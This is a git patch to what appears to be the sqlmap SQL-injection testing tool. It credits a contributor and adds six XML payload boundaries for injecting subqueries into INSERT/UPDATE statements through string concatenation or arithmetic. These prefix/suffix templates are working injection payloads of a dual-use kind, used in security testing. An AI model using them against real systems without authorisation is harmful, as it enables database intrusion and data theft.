From 2e5222bfd8fa871c418b1f6a080a8f1d28b155bf Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Fri, 28 Oct 2011 11:00:09 +0000
Subject: [PATCH] adding INSERT/UPDATE generic boundaries

---
 doc/THANKS       |  3 +++
 xml/payloads.xml | 58 +++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 60 insertions(+), 1 deletion(-)

diff --git a/doc/THANKS b/doc/THANKS
index 3b8d157d3..a85d03d0e 100644
--- a/doc/THANKS
+++ b/doc/THANKS
@@ -368,6 +368,9 @@ Christopher Patten <cpatten@sunera.com>
 Zack Payton <zack.payton@executiveinstruments.com>
     for reporting a minor bug
 
+Jaime Penalba <nighterman@painsec.com>
+    for contributing a patch for INSERT/UPDATE generic boundaries
+
 Travis Phillips <perfect_insanity2004@yahoo.com>
     for suggesting a minor enhancement
 
diff --git a/xml/payloads.xml b/xml/payloads.xml
index 2bb321cfb..c72b7e206 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -485,7 +485,63 @@ Formats:
         <prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
         <suffix></suffix>
     </boundary>
-    <!-- End of generic boundaries -->
+    <!-- End of pre-WHERE generic boundaries -->
+
+    <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>' || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>) || '</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>' || (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>) || '</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>1</ptype>
+        <prefix> + (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>1</ptype>
+        <prefix> + (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>' + (SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>) + '</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>' + (SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>) + '</suffix>
+    </boundary>
+    <!-- End of INSERT/UPDATE generic boundaries -->
 
 
     <!-- Boolean-based blind tests - WHERE/HAVING clause -->